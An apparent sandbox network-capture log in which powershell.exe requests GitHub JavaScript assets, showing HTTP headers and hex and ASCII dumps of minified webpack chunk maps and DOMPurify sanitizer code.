2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 3a 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 69 6e 69 2d 74 68 72 6f 74 74 6c 65 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 33 2d 61 72 72 61 79 5f 73 72 63 5f 6d 61 78 5f 6a 73 2d 6e 6f 64 65 2d 64 63 65 61 34 65 22 3d 3d 3d 65 3f 22 22 2b 65 2b 22 2d 66 32 36 33 32 39 33 39 31 39 38 35 2e 6a 73 22 3a 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 33 2d 61 78 69 73 5f 73 72 63 5f 61 78 69 73 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 33 2d 73 68 61 70 65 5f 73 72 63 5f 61 72 72 61 79 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 33 2d 73 2d 64 36 36 38 65 65 22 3d 3d 3d 65 3f 22 22 2b 65 2b 22 2d 66 66 31 31 63 61 64 36 63 Data Ascii: :"vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_d3-array_src_max_js-node-dcea4e"===e?""+e+"-f26329391985.js":"vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-shape_src_array_js-node_modules_d3-s-d668ee"===e?""+e+"-ff11cad6c
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 6c 69 62 5f 65 73 6d 5f 6d 61 69 6e 5f 6a 73 22 3d 3d 3d 65 3f 22 22 2b 65 2b 22 2d 34 34 64 37 37 62 62 32 32 39 64 32 2e 6a 73 22 3a 22 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 65 64 69 74 6f 72 5f 63 6f 64 65 6d 69 72 72 6f 72 2d 6c 69 6e 74 65 72 2d 75 74 69 6c 5f 74 73 2d 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 65 64 69 74 6f 72 5f 79 2d 38 39 61 34 61 36 22 3d 3d 3d 65 3f 22 22 2b 65 2b 22 2d 65 34 30 31 33 34 61 66 66 64 64 64 2e 6a 73 22 3a 22 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 65 64 69 74 6f 72 5f 79 61 6d 6c 2d 65 64 69 74 6f 72 73 5f 77 6f 72 6b 66 6c 6f 77 5f 77 6f 72 6b 66 6c 6f 77 2d 72 75 6c 65 73 5f 74 73 22 3d 3d 3d 65 3f Data Ascii: lib_esm_main_js"===e?""+e+"-44d77bb229d2.js":"app_assets_modules_github_editor_codemirror-linter-util_ts-app_assets_modules_github_editor_y-89a4a6"===e?""+e+"-e40134affddd.js":"app_assets_modules_github_editor_yaml-editors_workflow_workflow-rules_ts"===e?
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 3f 22 22 2b 65 2b 22 2d 31 66 65 63 65 65 63 30 30 32 63 61 2e 6a 73 22 3a 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 6c 6f 64 61 73 68 2d 65 73 5f 69 73 45 71 75 61 6c 5f 6a 73 22 3d 3d 3d 65 3f 22 22 2b 65 2b 22 2d 39 32 61 38 35 61 62 38 63 35 36 38 2e 6a 73 22 3a 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 72 65 6c 61 74 69 76 65 2d 74 69 6d 65 2d 65 6c 65 6d 65 6e 74 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 22 3d 3d 3d 65 3f 22 22 2b 65 2b 22 2d 36 64 33 39 36 37 61 63 64 35 31 63 2e 6a 73 22 3a 22 72 65 61 63 74 2d 6c 69 62 22 3d 3d 3d 65 3f 22 22 2b 65 2b 22 2d 37 62 37 62 35 32 36 34 66 36 63 31 2e 6a 73 22 3a 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 72 65 Data Ascii: ?""+e+"-1feceec002ca.js":"vendors-node_modules_lodash-es_isEqual_js"===e?""+e+"-92a85ab8c568.js":"vendors-node_modules_github_relative-time-element_dist_index_js"===e?""+e+"-6d3967acd51c.js":"react-lib"===e?""+e+"-7b7b5264f6c1.js":"vendors-node_modules_re
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 22 3d 3d 3d 65 3f 22 22 2b 65 2b 22 2d 33 63 39 36 37 33 31 63 34 61 31 32 2e 6a 73 22 3a 22 75 69 5f 70 61 63 6b 61 67 65 73 5f 72 65 6c 61 79 2d 65 6e 76 69 72 6f 6e 6d 65 6e 74 5f 72 65 6c 61 79 2d 65 6e 76 69 72 6f 6e 6d 65 6e 74 5f 74 73 2d 75 69 5f 70 61 63 6b 61 67 65 73 5f 69 74 65 6d 2d 70 69 63 6b 65 72 5f 63 6f 6d 70 6f 6e 65 6e 74 73 5f 52 65 70 6f 73 69 74 2d 39 37 65 32 65 31 22 3d 3d 3d 65 3f 22 22 2b 65 2b 22 2d 36 62 36 62 33 65 33 61 64 66 33 62 2e 6a 73 22 3a 22 75 69 5f 70 61 63 6b 61 67 65 73 5f 69 73 73 75 65 2d 63 72 65 61 74 65 5f 64 69 61 6c 6f 67 5f 43 72 65 61 74 65 49 73 73 75 65 44 69 61 6c 6f 67 45 6e 74 72 79 5f 74 73 78 22 3d 3d 3d 65 3f 22 22 2b 65 2b 22 2d 31 64 63 39 35 63 63 39 31 39 61 34 2e 6a 73 22 3a 22 76 65 6e 64 Data Ascii: "===e?""+e+"-3c96731c4a12.js":"ui_packages_relay-environment_relay-environment_ts-ui_packages_item-picker_components_Reposit-97e2e1"===e?""+e+"-6b6b3e3adf3b.js":"ui_packages_issue-create_dialog_CreateIssueDialogEntry_tsx"===e?""+e+"-1dc95cc919a4.js":"vend
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 22 61 70 70 5f 63 6f 6d 70 6f 6e 65 6e 74 73 5f 61 63 63 6f 75 6e 74 5f 76 65 72 69 66 69 63 61 74 69 6f 6e 73 5f 6c 61 75 6e 63 68 2d 63 6f 64 65 2d 65 6c 65 6d 65 6e 74 5f 74 73 22 3a 22 38 39 63 33 61 64 66 65 62 36 65 39 22 2c 22 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 6c 69 74 2d 68 74 6d 6c 5f 64 69 72 65 63 74 69 76 65 73 5f 75 6e 74 69 6c 5f 6a 73 2d 61 70 70 5f 63 6f 6d 70 6f 6e 65 6e 74 73 5f 61 63 74 69 6f 6e 73 5f 61 63 74 69 6f 6e 73 2d 63 61 63 68 65 73 2d 66 69 6c 74 65 72 2d 65 6c 65 6d 65 6e 2d 30 32 66 63 38 61 22 3a 22 30 61 35 63 35 66 31 35 61 39 37 36 22 2c 22 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 6c 69 74 2d 68 74 6d 6c 5f 64 69 72 65 63 74 69 76 65 73 5f 75 6e 74 69 6c 5f 6a 73 2d 61 70 70 5f 63 6f 6d 70 6f 6e 65 6e 74 73 5f 61 63 Data Ascii: "app_components_account_verifications_launch-code-element_ts":"89c3adfeb6e9","node_modules_lit-html_directives_until_js-app_components_actions_actions-caches-filter-elemen-02fc8a":"0a5c5f15a976","node_modules_lit-html_directives_until_js-app_components_ac
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 74 69 6e 67 73 5f 75 70 67 72 61 64 65 5f 6d 61 6e 61 67 65 2d 73 75 62 73 63 72 69 70 74 69 6f 6e 2d 65 6c 65 6d 65 6e 74 5f 74 73 22 3a 22 65 61 35 30 62 38 65 39 30 32 32 36 22 2c 22 61 70 70 5f 63 6f 6d 70 6f 6e 65 6e 74 73 5f 62 69 6c 6c 69 6e 67 5f 73 74 61 66 66 74 6f 6f 6c 73 5f 70 65 6e 64 69 6e 67 2d 63 79 63 6c 65 2d 63 68 61 6e 67 65 73 2d 63 6f 6d 70 6f 6e 65 6e 74 2d 65 6c 65 6d 65 6e 74 5f 74 73 22 3a 22 30 34 31 62 33 66 36 66 39 65 33 32 22 2c 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 65 6c 65 67 61 74 65 64 2d 65 76 65 6e 74 73 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 74 61 63 6b 74 72 61 63 65 2d 70 61 72 73 65 72 5f 64 69 73 74 5f 73 74 61 63 6b 2d 63 64 35 39 35 Data Ascii: tings_upgrade_manage-subscription-element_ts":"ea50b8e90226","app_components_billing_stafftools_pending-cycle-changes-component-element_ts":"041b3f6f9e32","vendors-node_modules_delegated-events_dist_index_js-node_modules_stacktrace-parser_dist_stack-cd595
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 5f 63 6f 6d 70 6f 6e 65 6e 74 73 5f 63 6f 6d 6d 61 6e 64 5f 70 61 6c 65 74 74 65 5f 63 6f 6d 6d 61 6e 64 2d 70 61 6c 65 74 74 65 2d 70 61 67 65 2d 73 74 61 63 6b 2d 65 6c 65 6d 65 6e 74 5f 74 73 22 3a 22 66 37 64 38 33 32 63 61 63 39 30 38 22 2c 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 69 6e 69 2d 74 68 72 6f 74 74 6c 65 5f 64 69 73 74 5f 64 65 63 6f 72 61 74 6f 72 73 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 74 61 63 6b 74 72 61 63 65 2d 70 61 72 73 65 72 5f 64 2d 37 64 33 66 65 66 22 3a 22 61 31 31 62 33 32 36 33 39 64 65 33 22 2c 22 61 70 70 5f 63 6f 6d 70 6f 6e 65 6e 74 73 5f 63 6f 6e 64 75 69 74 5f 66 65 65 64 2d 70 6f 73 74 2d 65 6c 65 6d 65 6e 74 5f 74 73 22 3a 22 36 66 66 39 66 62 65 34 Data Ascii: _components_command_palette_command-palette-page-stack-element_ts":"f7d832cac908","vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_stacktrace-parser_d-7d3fef":"a11b32639de3","app_components_conduit_feed-post-element_ts":"6ff9fbe4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49725	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:15 UTC	395	OUT	GET /assets/vendors-node_modules_dompurify_dist_purify_js-b73fdff77a4e.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:15 UTC	694	IN	HTTP/1.1 200 OK Connection: close Content-Length: 21559 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Mon, 23 Sep 2024 19:06:40 GMT ETag: "0x8DCDC02DAFFB363" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 464595 Date: Mon, 30 Sep 2024 13:50:15 GMT X-Served-By: cache-iad-kcgs7200030-IAD, cache-ewr-kewr1740049-EWR X-Cache: HIT, HIT X-Cache-Hits: 42, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 69597b6ba7f5a696834b449c9bbb97cc8cbdd5d5
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 6f 6d 70 75 72 69 66 79 5f 64 69 73 74 5f 70 75 72 69 66 79 5f 6a 73 22 5d 2c 7b 34 32 38 33 38 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6c 65 74 7b 65 6e 74 72 69 65 73 3a 65 2c 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3a 74 2c 69 73 46 72 6f 7a 65 6e 3a 6e 2c 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3a 6f 2c 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 3a 72 7d 3d 4f 62 6a 65 63 74 2c Data Ascii: (globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_dompurify_dist_purify_js"],{42838:function(e){var t;t=function(){"use strict";let{entries:e,setPrototypeOf:t,isFrozen:n,getPrototypeOf:o,getOwnPropertyDescriptor:r}=Object,
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 6c 65 74 20 74 3d 30 3b 74 3c 65 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 54 28 65 2c 74 29 7c 7c 28 65 5b 74 5d 3d 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 65 7d 28 72 29 3a 72 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 72 26 26 72 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 4f 62 6a 65 63 74 3f 6e 5b 6f 5d 3d 77 28 72 29 3a 6e 5b 6f 5d 3d 72 29 3b 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 43 28 65 2c 74 29 7b 66 6f 72 28 3b 6e 75 6c 6c 21 3d 3d 65 3b 29 7b 6c 65 74 20 6e 3d 72 28 65 2c 74 29 3b 69 66 28 6e 29 7b 69 66 28 6e 2e 67 65 74 29 72 65 74 75 72 6e 20 4e 28 6e 2e 67 65 74 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 2e 76 61 6c 75 65 29 72 65 74 75 72 6e 20 4e 28 6e 2e 76 61 6c 75 65 29 7d 65 3d Data Ascii: let t=0;t<e.length;t++)T(e,t)\|\|(e[t]=null);return e}(r):r&&"object"==typeof r&&r.constructor===Object?n[o]=w(r):n[o]=r);return n}function C(e,t){for(;null!==e;){let n=r(e,t);if(n){if(n.get)return N(n.get);if("function"==typeof n.value)return N(n.value)}e=
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 65 22 2c 22 6c 69 6e 65 61 72 67 72 61 64 69 65 6e 74 22 2c 22 6d 61 72 6b 65 72 22 2c 22 6d 61 73 6b 22 2c 22 6d 65 74 61 64 61 74 61 22 2c 22 6d 70 61 74 68 22 2c 22 70 61 74 68 22 2c 22 70 61 74 74 65 72 6e 22 2c 22 70 6f 6c 79 67 6f 6e 22 2c 22 70 6f 6c 79 6c 69 6e 65 22 2c 22 72 61 64 69 61 6c 67 72 61 64 69 65 6e 74 22 2c 22 72 65 63 74 22 2c 22 73 74 6f 70 22 2c 22 73 74 79 6c 65 22 2c 22 73 77 69 74 63 68 22 2c 22 73 79 6d 62 6f 6c 22 2c 22 74 65 78 74 22 2c 22 74 65 78 74 70 61 74 68 22 2c 22 74 69 74 6c 65 22 2c 22 74 72 65 66 22 2c 22 74 73 70 61 6e 22 2c 22 76 69 65 77 22 2c 22 76 6b 65 72 6e 22 5d 29 2c 4c 3d 69 28 5b 22 66 65 42 6c 65 6e 64 22 2c 22 66 65 43 6f 6c 6f 72 4d 61 74 72 69 78 22 2c 22 66 65 43 6f 6d 70 6f 6e 65 6e 74 54 72 61 6e Data Ascii: e","lineargradient","marker","mask","metadata","mpath","path","pattern","polygon","polyline","radialgradient","rect","stop","style","switch","symbol","text","textpath","title","tref","tspan","view","vkern"]),L=i(["feBlend","feColorMatrix","feComponentTran
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 74 75 72 65 69 6e 70 69 63 74 75 72 65 22 2c 22 61 75 74 6f 70 6c 61 79 22 2c 22 62 61 63 6b 67 72 6f 75 6e 64 22 2c 22 62 67 63 6f 6c 6f 72 22 2c 22 62 6f 72 64 65 72 22 2c 22 63 61 70 74 75 72 65 22 2c 22 63 65 6c 6c 70 61 64 64 69 6e 67 22 2c 22 63 65 6c 6c 73 70 61 63 69 6e 67 22 2c 22 63 68 65 63 6b 65 64 22 2c 22 63 69 74 65 22 2c 22 63 6c 61 73 73 22 2c 22 63 6c 65 61 72 22 2c 22 63 6f 6c 6f 72 22 2c 22 63 6f 6c 73 22 2c 22 63 6f 6c 73 70 61 6e 22 2c 22 63 6f 6e 74 72 6f 6c 73 22 2c 22 63 6f 6e 74 72 6f 6c 73 6c 69 73 74 22 2c 22 63 6f 6f 72 64 73 22 2c 22 63 72 6f 73 73 6f 72 69 67 69 6e 22 2c 22 64 61 74 65 74 69 6d 65 22 2c 22 64 65 63 6f 64 69 6e 67 22 2c 22 64 65 66 61 75 6c 74 22 2c 22 64 69 72 22 2c 22 64 69 73 61 62 6c 65 64 22 2c 22 64 69 Data Ascii: tureinpicture","autoplay","background","bgcolor","border","capture","cellpadding","cellspacing","checked","cite","class","clear","color","cols","colspan","controls","controlslist","coords","crossorigin","datetime","decoding","default","dir","disabled","di
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 2c 22 64 69 73 70 6c 61 79 22 2c 22 64 69 76 69 73 6f 72 22 2c 22 64 75 72 22 2c 22 65 64 67 65 6d 6f 64 65 22 2c 22 65 6c 65 76 61 74 69 6f 6e 22 2c 22 65 6e 64 22 2c 22 66 69 6c 6c 22 2c 22 66 69 6c 6c 2d 6f 70 61 63 69 74 79 22 2c 22 66 69 6c 6c 2d 72 75 6c 65 22 2c 22 66 69 6c 74 65 72 22 2c 22 66 69 6c 74 65 72 75 6e 69 74 73 22 2c 22 66 6c 6f 6f 64 2d 63 6f 6c 6f 72 22 2c 22 66 6c 6f 6f 64 2d 6f 70 61 63 69 74 79 22 2c 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 22 2c 22 66 6f 6e 74 2d 73 69 7a 65 22 2c 22 66 6f 6e 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 22 2c 22 66 6f 6e 74 2d 73 74 72 65 74 63 68 22 2c 22 66 6f 6e 74 2d 73 74 79 6c 65 22 2c 22 66 6f 6e 74 2d 76 61 72 69 61 6e 74 22 2c 22 66 6f 6e 74 2d 77 65 69 67 68 74 22 2c 22 66 78 22 2c 22 66 79 22 2c Data Ascii: ,"display","divisor","dur","edgemode","elevation","end","fill","fill-opacity","fill-rule","filter","filterunits","flood-color","flood-opacity","font-family","font-size","font-size-adjust","font-stretch","font-style","font-variant","font-weight","fx","fy",
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 2c 22 74 61 62 69 6e 64 65 78 22 2c 22 74 61 72 67 65 74 78 22 2c 22 74 61 72 67 65 74 79 22 2c 22 74 72 61 6e 73 66 6f 72 6d 22 2c 22 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 22 2c 22 74 65 78 74 2d 61 6e 63 68 6f 72 22 2c 22 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 22 2c 22 74 65 78 74 2d 72 65 6e 64 65 72 69 6e 67 22 2c 22 74 65 78 74 6c 65 6e 67 74 68 22 2c 22 74 79 70 65 22 2c 22 75 31 22 2c 22 75 32 22 2c 22 75 6e 69 63 6f 64 65 22 2c 22 76 61 6c 75 65 73 22 2c 22 76 69 65 77 62 6f 78 22 2c 22 76 69 73 69 62 69 6c 69 74 79 22 2c 22 76 65 72 73 69 6f 6e 22 2c 22 76 65 72 74 2d 61 64 76 2d 79 22 2c 22 76 65 72 74 2d 6f 72 69 67 69 6e 2d 78 22 2c 22 76 65 72 74 2d 6f 72 69 67 69 6e 2d 79 22 2c 22 77 69 64 74 68 22 2c 22 77 6f 72 64 2d 73 70 Data Ascii: ,"tabindex","targetx","targety","transform","transform-origin","text-anchor","text-decoration","text-rendering","textlength","type","u1","u2","unicode","values","viewbox","visibility","version","vert-adv-y","vert-origin-x","vert-origin-y","width","word-sp
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 30 30 5d 2f 67 29 2c 71 3d 61 28 2f 5e 68 74 6d 6c 24 2f 69 29 3b 76 61 72 20 58 2c 24 3d 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 6e 75 6c 6c 2c 4d 55 53 54 41 43 48 45 5f 45 58 50 52 3a 48 2c 45 52 42 5f 45 58 50 52 3a 46 2c 54 4d 50 4c 49 54 5f 45 58 50 52 3a 7a 2c 44 41 54 41 5f 41 54 54 52 3a 57 2c 41 52 49 41 5f 41 54 54 52 3a 42 2c 49 53 5f 41 4c 4c 4f 57 45 44 5f 55 52 49 3a 47 2c 49 53 5f 53 43 52 49 50 54 5f 4f 52 5f 44 41 54 41 3a 59 2c 41 54 54 52 5f 57 48 49 54 45 53 50 41 43 45 3a 6a 2c 44 4f 43 54 59 50 45 5f 4e 41 4d 45 3a 71 2c 43 55 53 54 4f 4d 5f 45 4c 45 4d 45 4e 54 3a 61 28 2f 5e 5b 61 2d 7a 5d 5b 2e 5c 77 5d 2a 28 2d 5b 2e 5c 77 5d 2b 29 2b 24 2f 69 29 7d 29 3b 6c 65 74 20 4b 3d 7b 65 6c 65 6d 65 6e Data Ascii: 00]/g),q=a(/^html$/i);var X,$=Object.freeze({__proto__:null,MUSTACHE_EXPR:H,ERB_EXPR:F,TMPLIT_EXPR:z,DATA_ATTR:W,ARIA_ATTR:B,IS_ALLOWED_URI:G,IS_SCRIPT_OR_DATA:Y,ATTR_WHITESPACE:j,DOCTYPE_NAME:q,CUSTOM_ELEMENT:a(/^[a-z][.\w]*(-[.\w]+)+$/i)});let K={elemen
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 61 74 6f 72 3a 65 72 2c 63 72 65 61 74 65 44 6f 63 75 6d 65 6e 74 46 72 61 67 6d 65 6e 74 3a 65 69 2c 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3a 65 61 7d 3d 61 2c 7b 69 6d 70 6f 72 74 4e 6f 64 65 3a 65 6c 7d 3d 63 2c 65 63 3d 7b 7d 3b 72 2e 69 73 53 75 70 70 6f 72 74 65 64 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 74 26 26 65 6f 26 26 76 6f 69 64 20 30 21 3d 3d 65 6f 2e 63 72 65 61 74 65 48 54 4d 4c 44 6f 63 75 6d 65 6e 74 3b 6c 65 74 7b 4d 55 53 54 41 43 48 45 5f 45 58 50 52 3a 65 73 2c 45 52 42 5f 45 58 50 52 3a 65 75 2c 54 4d 50 4c 49 54 5f 45 58 50 52 3a 65 6d 2c 44 41 54 41 5f 41 54 54 52 3a 65 70 2c 41 52 49 41 5f 41 54 54 52 3a 65 66 2c 49 53 Data Ascii: ator:er,createDocumentFragment:ei,getElementsByTagName:ea}=a,{importNode:el}=c,ec={};r.isSupported="function"==typeof e&&"function"==typeof et&&eo&&void 0!==eo.createHTMLDocument;let{MUSTACHE_EXPR:es,ERB_EXPR:eu,TMPLIT_EXPR:em,DATA_ATTR:ep,ARIA_ATTR:ef,IS
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 6c 2c 65 32 3d 5b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 22 2c 22 74 65 78 74 2f 68 74 6d 6c 22 5d 2c 65 33 3d 6e 75 6c 6c 2c 65 39 3d 6e 75 6c 6c 2c 65 35 3d 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 66 6f 72 6d 22 29 2c 65 38 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 7c 7c 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 46 75 6e 63 74 69 6f 6e 7d 2c 65 34 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 3b 69 66 28 21 65 39 7c 7c 65 39 21 3d 3d 65 29 7b 69 66 28 65 26 26 22 6f 62 Data Ascii: l,e2=["application/xhtml+xml","text/html"],e3=null,e9=null,e5=a.createElement("form"),e8=function(e){return e instanceof RegExp\|\|e instanceof Function},e4=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};if(!e9\|\|e9!==e){if(e&&"ob
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 45 4c 45 4d 45 4e 54 5f 48 41 4e 44 4c 49 4e 47 2e 74 61 67 4e 61 6d 65 43 68 65 63 6b 29 26 26 28 65 62 2e 74 61 67 4e 61 6d 65 43 68 65 63 6b 3d 65 2e 43 55 53 54 4f 4d 5f 45 4c 45 4d 45 4e 54 5f 48 41 4e 44 4c 49 4e 47 2e 74 61 67 4e 61 6d 65 43 68 65 63 6b 29 2c 65 2e 43 55 53 54 4f 4d 5f 45 4c 45 4d 45 4e 54 5f 48 41 4e 44 4c 49 4e 47 26 26 65 38 28 65 2e 43 55 53 54 4f 4d 5f 45 4c 45 4d 45 4e 54 5f 48 41 4e 44 4c 49 4e 47 2e 61 74 74 72 69 62 75 74 65 4e 61 6d 65 43 68 65 63 6b 29 26 26 28 65 62 2e 61 74 74 72 69 62 75 74 65 4e 61 6d 65 43 68 65 63 6b 3d 65 2e 43 55 53 54 4f 4d 5f 45 4c 45 4d 45 4e 54 5f 48 41 4e 44 4c 49 4e 47 2e 61 74 74 72 69 62 75 74 65 4e 61 6d 65 43 68 65 63 6b 29 2c 65 2e 43 55 53 54 4f 4d 5f 45 4c 45 4d 45 4e 54 5f 48 41 4e Data Ascii: ELEMENT_HANDLING.tagNameCheck)&&(eb.tagNameCheck=e.CUSTOM_ELEMENT_HANDLING.tagNameCheck),e.CUSTOM_ELEMENT_HANDLING&&e8(e.CUSTOM_ELEMENT_HANDLING.attributeNameCheck)&&(eb.attributeNameCheck=e.CUSTOM_ELEMENT_HANDLING.attributeNameCheck),e.CUSTOM_ELEMENT_HAN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49727	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:15 UTC	411	OUT	GET /assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover_js-56729c905fe2.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:15 UTC	694	IN	HTTP/1.1 200 OK Connection: close Content-Length: 9608 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Thu, 08 Aug 2024 18:12:13 GMT ETag: "0x8DCB7D5A13028DA" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2128841 Date: Mon, 30 Sep 2024 13:50:15 GMT X-Served-By: cache-iad-kjyo7100033-IAD, cache-ewr-kewr1740048-EWR X-Cache: HIT, HIT X-Cache-Hits: 98, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: ce068c00c742f8c40a17672431b252cdd83968f7
